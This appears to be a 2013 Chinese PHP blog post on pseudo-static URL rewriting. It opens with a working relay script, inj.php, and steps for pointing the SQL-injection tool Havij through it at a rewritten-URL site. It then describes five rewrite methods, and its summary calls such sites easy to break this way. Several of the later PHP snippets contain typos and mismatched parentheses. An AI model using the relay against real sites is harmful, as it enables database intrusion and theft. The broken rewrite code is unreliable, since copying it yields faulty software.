PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
PHP 程序授权验证开发思路
Jul 09 PHP
openflashchart 2.0 简单案例php版
May 21 PHP
php中++i 与 i++ 的区别
Aug 08 PHP
ThinkPHP快速入门实例教程之数据分页
Jul 01 PHP
2014年10个最佳的PHP图像操作库
Jul 14 PHP
PHP实现一维数组转二维数组的方法
Feb 25 PHP
php+ajax实现的点击浏览量加1
Apr 16 PHP
隐性调用php程序的方法
Jun 13 PHP
thinkPHP数据查询常用方法总结【select,find,getField,query】
Mar 15 PHP
thinkPHP5框架中widget的功能与用法详解
Jun 11 PHP
PHP实现的函数重载功能示例
Aug 03 PHP
Laravel5.1 框架Request请求操作常见用法实例分析
Jan 04 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
php中用foreach来操作数组的代码
2011/07/17 PHP
PHP Try-catch 语句使用技巧
2016/02/28 PHP
PHP中上传文件打印错误错误类型分析
2019/04/14 PHP
tbody元素支持嵌套的注意方法
2007/03/24 Javascript
web 页面分页打印的实现
2009/06/22 Javascript
基于jQuery的弹出消息插件 DivAlert之旅(一)
2010/04/01 Javascript
JavaScript中获取未知对象属性的代码
2011/04/27 Javascript
js操作iframe兼容各种主流浏览器示例代码
2013/07/22 Javascript
jquery滚动条插件jScrollPane的使用介绍
2013/11/08 Javascript
javaScript的函数对象的声明详解
2015/02/06 Javascript
jQuery常用数据处理方法小结
2015/02/20 Javascript
在JavaScript中使用NaN值的方法
2015/06/05 Javascript
实例讲解JS中setTimeout()的用法
2016/01/28 Javascript
Javascript从数组中随机取出不同元素的两种方法
2016/09/22 Javascript
Javascript oop设计模式 面向对象编程简单实例介绍
2016/12/13 Javascript
用v-html解决Vue.js渲染中html标签不被解析的问题
2016/12/14 Javascript
jQuery实现Select下拉列表进行状态选择功能
2017/03/30 jQuery
原生js实现获取form表单数据代码实例
2019/03/27 Javascript
Vue + Node.js + MongoDB图片上传组件实现图片预览和删除功能详解
2020/04/29 Javascript
如何将Node.js中的回调转换为Promise
2020/11/10 Javascript
[00:20]TI9观赛名额抽取Ⅱ
2019/07/24 DOTA
对Python新手编程过程中如何规避一些常见问题的建议
2015/04/01 Python
用python结合jieba和wordcloud实现词云效果
2017/09/05 Python
matplotlib绘图实例演示标记路径
2018/01/23 Python
浅谈python爬虫使用Selenium模拟浏览器行为
2018/02/23 Python
tensorflow如何批量读取图片
2019/08/29 Python
PyTorch中Tensor的数据类型和运算的使用
2020/09/03 Python
HTML5 Canvas中使用路径描画二阶、三阶贝塞尔曲线
2015/01/01 HTML / CSS
挪威户外活动服装和装备购物网站:Bergfreunde挪威
2016/10/20 全球购物
Tory Burch英国官方网站:美国时尚生活品牌
2017/12/06 全球购物
盖尔斯工厂店:GUESS Factory
2020/01/21 全球购物
英国家具、照明、家居用品网上商店:Wayfair.co.uk
2020/02/13 全球购物
请编程遍历页面上所有 TextBox 控件并给它赋值为 string.Empty
2015/12/03 面试题
人力管理专业毕业生求职信
2014/02/27 职场文书
法制教育演讲稿
2014/09/10 职场文书
鲲鹏 CentOS 7 安装Python3.7
2022/05/11 Servers